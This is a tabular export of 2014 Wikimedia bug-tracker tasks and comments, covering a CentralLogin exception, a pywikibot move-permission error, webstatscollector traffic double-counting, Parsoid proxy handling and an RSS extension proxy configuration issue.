+325268,Fatal exception of type MWException on Special:CentralLogin,Due to be fixed in the SWAT deploy later today,,,1410372078,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-j3cgog2vjixso7muysak,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+325263,Fatal exception of type MWException on Special:CentralLogin,"
+
+*** This bug has been marked as a duplicate of bug 69834 ***",,,1410372058,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-j3cgog2vjixso7muysak,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+72447,movepages.py unable to login if no password.lwp is present,"After deleting password.lwp, it was unable to login with right username and rights.
+Move action then fails.
+
+To recover, I tried replace.py, who asked for a password, and then movepages.py was OK again.
+
+Looks like replace.py has superpowers compared to movepages.py
+
+
+
+user@pc:~/python/core {master}$ python scripts/movepages.py -pairs:pairs.txt -summary:""Bot request: move after Index move"" -noredirect -pt:0
+Moving page [[Page:Ackermann’s Repository of Arts 1809-v01-Jan-Jun.djvu/1]] to [[Page:Repository of Arts, Series 1, Volume 01, 1809, January-June.djvu/1]]
+WARNING: API warning (tokens): action=tokens has been deprecated. Please use action=query&meta=tokens instead.
+Action 'move' is not allowed for the current user
+Traceback (most recent call last):
+  File ""scripts/movepages.py"", line 283, in <module>
+    main()
+  File ""scripts/movepages.py"", line 271, in main
+    bot.moveOne(page, pair[1])
+  File ""scripts/movepages.py"", line 80, in moveOne
+    deleteAndMove=self.getOption('noredirect'))
+  File ""/home/user/python/core/pywikibot/tools.py"", line 315, in wrapper
+    return method(*__args, **__kw)
+  File ""/home/user/python/core/pywikibot/page.py"", line 1458, in move
+    noredirect=deleteAndMove)
+  File ""/home/user/python/core/pywikibot/site.py"", line 3606, in movepage
+    token = self.tokens['move']
+  File ""/home/user/python/core/pywikibot/site.py"", line 1168, in __getitem__
+    storage = self.site._tokens.setdefault(self.site.user(), {})
+KeyError: 'move'
+<type 'exceptions.KeyError'>
+CRITICAL: Waiting for 1 network thread(s) to finish. Press ctrl-c to abort
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Needs Triage,90.0,1409937660,1409959864.0,PHID-USER-43lnvui4hacyjrc2lflj,False,,False,PHID-TASK-5x7ivas6edyanzw3ymwo,task_description,resolved,True,c3,1,True,False,True,-43,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+326906,movepages.py unable to login if no password.lwp is present,https://gerrit.wikimedia.org/r/#/c/158805/ merged,,,1409959864,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-5x7ivas6edyanzw3ymwo,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+72381,Visiting Special:UserLogin when already logged in produces fatal exception,"**Author:** `swalling`
+
+**Description:**
+Steps to reproduce: 
+
+1. Be logged in 
+2. Go to a wiki (in my case, Meta)
+3. Search for Special:UserLogin
+
+URL was https://meta.wikimedia.org/wiki/Special:CentralLogin/complete?token=be24f4fe571415dbff35a66c7681c1d4
+Error produced was: [d87ff559] 2014-09-04 04:37:35: Fatal exception of type MWException
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1409805540,1409805634.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-xip7e34pvi4uz5sfm3ln,task_description,resolved,True,c3,1,False,False,True,-43,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+323982,Visiting Special:UserLogin when already logged in produces fatal exception,"
+
+*** This bug has been marked as a duplicate of bug 69834 ***",,,1409805634,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xip7e34pvi4uz5sfm3ln,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+72295,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"When migrating webstatscollector's filter process from erbium to
+oxygen on 2014-07-07 for bug 67456, it seems an old filter binary got used
+and effectively the CentralAutoLogin requests got counted again.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57980",Needs Triage,90.0,1409675040,1409688970.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-pl5x6lcdcstkgjh447en,task_description,resolved,True,c3,1,True,False,True,-44,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+321959,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"**gerritadmin** wrote:
+
+Change 157878 merged by Ottomata:
+For regular webstatscollector installs, use latest version
+
+https://gerrit.wikimedia.org/r/157878",,,1410800362,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+321955,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"Setting status to fixed again, as the issue at hand has been fixed already.
+The change from comment #3 just helps to prevent this kind of regression
+from happening again.",,,1409688970,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+321949,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"**gerritadmin** wrote:
+
+Change 157878 had a related patch set uploaded by QChris:
+For webstatscollector, use latest version
+
+https://gerrit.wikimedia.org/r/157878",,,1409688481,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+321943,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"The deployment worked, and Special:CentralAutoLogin/ requests are
+gone again.
+
+The first affected file is
+  https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-07/pagecounts-20140707-170000.gz
+
+The first good file after the fix is
+  https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-09/pagecounts-20140902-180000.gz
+
+(Accordingly for projectcount files)",,,1409684615,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+321936,Webstatscollector counting CentralAutoLogin requests again since 2014-07-07,"A current binary was deployed just now.
+Thanks ottomata!
+
+CentralAutoLogin requests should vanish soon again.",,,1409675121,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-pl5x6lcdcstkgjh447en,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+72140,Webstatscollector counting HTTPS from ulsfo twice,"HTTPS requests end up twice in the udp2log pipeline for all
+data-centers. Once from directly from the nginx-s, once from the
+varnishes. For ulsfo, both entries in the log line get counted by
+webstatscollector, leading to double counting of ulsfo https traffic.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1409263140,1409780567.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-svlu64fpdav3ij7t7l7p,task_description,resolved,True,c3,1,True,False,True,-44,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+315025,Webstatscollector counting HTTPS from ulsfo twice,"The fix is effective.
+The first good files are
+
+  https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-09/pagecounts-20140902-180000.gz
+  https://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-09/projectcounts-20140902-180000",,,1409780567,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-svlu64fpdav3ij7t7l7p,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+315021,Webstatscollector counting HTTPS from ulsfo twice,"A corresponding fix at
+
+  https://gerrit.wikimedia.org/r/#/c/156840/1
+
+has been merged, but due to the pending weekend, and since Monday is
+Labour Day, it'll probably take some days until it gets deployed.",,,1409263155,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-svlu64fpdav3ij7t7l7p,task_subcomment,,True,c3,1,True,,,-44,True,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+71982,parsoid ignores http_proxy envvar,"Since parsoid doesn't seem to take the environment variable http_proxy into account the following fails:
+
+  $ env | grep prox
+  http_proxy=http://proxy:80/
+  $ npm test
+  ...
+  { [DoesNotExistError: Page Fetch failure for ""http://en.wikipedia.org/w/api.php"": Error: connect ECONNREFUSED]
+    name: 'DoesNotExistError',
+    message: 'Page Fetch failure for ""http://en.wikipedia.org/w/api.php"": Error: connect ECONNREFUSED',
+    code: 404 }
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1408986660,1416957917.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-5obeflpsep64vps6tmmj,task_description,declined,True,c3,1,False,False,True,-45,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+319431,parsoid ignores http_proxy envvar,"I've learned the hard way that http_proxy isn't really a standard at all.  Hardly anything respects it, and modern software uses the system proxy settings (set via gnome, kde, etc) instead of relying on a standard-which-isn't.  Let's not even touch the question of whether http_proxy should be used for https traffic.
+
+Anyway, there's a perfectly straightforward workaround, which I've provided.
+
+[The 'senile software' was intended to be a lighthearted joke.  I apologize if it appeared otherwise.]",,,1409277386,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-5obeflpsep64vps6tmmj,task_subcomment,,True,c3,1,False,,,-44,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+319420,parsoid ignores http_proxy envvar,"(In reply to C. Scott Ananian from comment #2)
+> You mean the not-even-in-POSIX-and-certainly-not-in-libc ""http_proxy""
+> convention, I guess, used by senile software. ;)
+
+I admit to being over 40, but I don't think I'm quite qualified to be called senile.  I prefer the title ""seasoned"" for my dormant sysadmin skills.
+
+Skills which, truth be known, find it very useful to set http_proxy once in /etc/environment and then have it used by all software on that host.
+
+> We use the `request` module (https://github.com/mikeal/request) which has an
+> `proxy` argument to the constructor.
+
+Getting the request module to respect http_proxy is certainly an upstream problem.  That wasn't my goal in filing this this bug.
+
+> You can put
+> 
+> parsoidConfig.defaultAPIProxyURI = process.env['http_proxy'];
+> 
+> in your localsettings.js if it makes you feel better.
+
+This statement is dismissive of the de facto http_proxy standard.
+
+Why?",,,1409270953,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5obeflpsep64vps6tmmj,task_subcomment,,True,c3,1,False,,,-44,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+319409,parsoid ignores http_proxy envvar,"""more mature programming environments"". ha!
+
+You mean the not-even-in-POSIX-and-certainly-not-in-libc ""http_proxy"" convention, I guess, used by senile software. ;)
+
+We use the `request` module (https://github.com/mikeal/request) which has an `proxy` argument to the constructor.
+
+This can be configured in your localsettings.js; see the api/localsettings.js.example file in Parsoid.
+
+You can put
+
+parsoidConfig.defaultAPIProxyURI = process.env['http_proxy'];
+
+in your localsettings.js if it makes you feel better.",,,1408990093,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-5obeflpsep64vps6tmmj,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1
+319401,parsoid ignores http_proxy envvar,"A little more searching, I discover this isn't really parsoid's fault, but node.js's http library doesn't really support proxies like more mature programming environments.  http://geekswithblogs.net/shaunxu/archive/2013/09/05/semi-global-proxy-setting-for-node.js.aspx
+
+/me sighs",,,1408987369,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5obeflpsep64vps6tmmj,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1
+71783,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**Author:** `jens.roebel`
+
+**Description:**
+This code:
+
+<rss max=4 highlight=""community wiki foundation"">http://blog.wikimedia.org/feed/</rss>
+
+Gives this result:
+
+Failed to load RSS feed from http://blog.wikimedia.org/feed/: HTTP-forespørgslen fejlede af ukendte årsager. 
+
+Any ideas?
+
+Thanks 
+Jens Roebel
+
+--------------------------
+**Version**: REL1_23-branch
+**Severity**: normal
+**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1408542240,1408619331.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_description,declined,True,c3,1,False,False,True,-46,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1
+310532,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"Jens, better always read the documentation first, please.
+I invested a lot to document all my extensions in the best possible way.
+
+Nice to learn that your problem is fixed.
+
+Just as a remark:
+
+In certain installations (like in my own), it might be necessary to use a proxy when fetching RSS feeds from locations outside an enterprise internet, wherease you must not use a proxy when fetching RSS feeds from Urls inside the intranet. 
+
+For such cases, a ""switch"" muss be toggled, see how in the code !
+
+https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FRSS/26b9a910ecafd461097932fd044028655350d389/RSSParser.php#L239
+
+// Example for disabling proxy use for certain urls
+// $noProxy = preg_match( '!\.internal\.example\.com$!i', parse_url( $url, PHP_URL_HOST ) );",,,1408691401,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+310523,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**jens.roebel** wrote:
+
+That did it :-)
+
+After specifying $wgRSSProxy with proxyservername and portnumber everthing works perfectly.
+
+Thanks a lot.
+
+Jens",,,1408690222,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+310514,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"Please read the RSS Extension manual page http://www.mediawiki.org/wiki/Extension:RSS#Configuration_settings and quickly find 
+
+$wgRSSProxy (default: false) Optional proxy server to be used for fetching feeds
+false: no proxy used
+
+See also file RSS.php.",,,1408652731,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+310509,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"(In reply to Jens Røbel from comment #8)
+> We use proxy server. Where can I specify name and port ?
+
+See [[mw:manual:$wgHTTPProxy]]",,,1408641374,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+310506,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"So this does not sound like something is wrong in the code of MediaWiki (a so-called ""bug""), but instead like a support request (how to change settings, questions how to do something, etc.). As bugzilla.wikimedia.org is only for specific bug reports and enhancement requests, I am closing this ticket as RESOLVED WORKSFORME.",,,1408619331,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-45,True,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+310504,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**jens.roebel** wrote:
+
+We use proxy server. Where can I specify name and port ?",,,1408612267,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0
+310500,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**jens.roebel** wrote:
+
+For test purpose I have the below settings
+$wgRSSUrlWhitelist = array( ""*"" );",,,1408612052,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+310496,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"The blog recently moved from Wikimedia servers to Automattic ones, so if you had whitelisted the WMF servers, that might need updating?",,,1408611878,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+310491,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**jens.roebel** wrote:
+
+Removing wfSuppressWarnings(); and wfRestoreWarnings();
+gives the below warning
+
+Warning fopen(http://blog.wikimedia.org/feed/): failed to open stream: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond in C:\Apache2.2\htdocs\wiki\includes\HttpFunctions.php on line 916
+
+I have a suspicion that it may be related to limitations in the firewall setup on our network.
+
+I will try the same on my private network.
+
+The version of RSS extension is 2.25.0
+
+Thanks 
+Jens",,,1408611689,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+310488,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,Please use _latest_ RSS Version from the repo!,,,1408561102,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0
+310482,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"On line 907 and 909 of includes/HttpFunctions.php there is a wfSuppressWarnings(); and a wfRestoreWarnings(); respectively. Removing both of those may cause a warning to be output (Assuming you have php warnings enabled), that may help you debug the situation.",,,1408556922,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+310476,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"I assume this is not on a Wikimedia wiki?
+
+(Error in particular happens only when using php url_fopen to fetch urls (Not used on Wikimedia sites, since we have the curl php extension installed)).
+
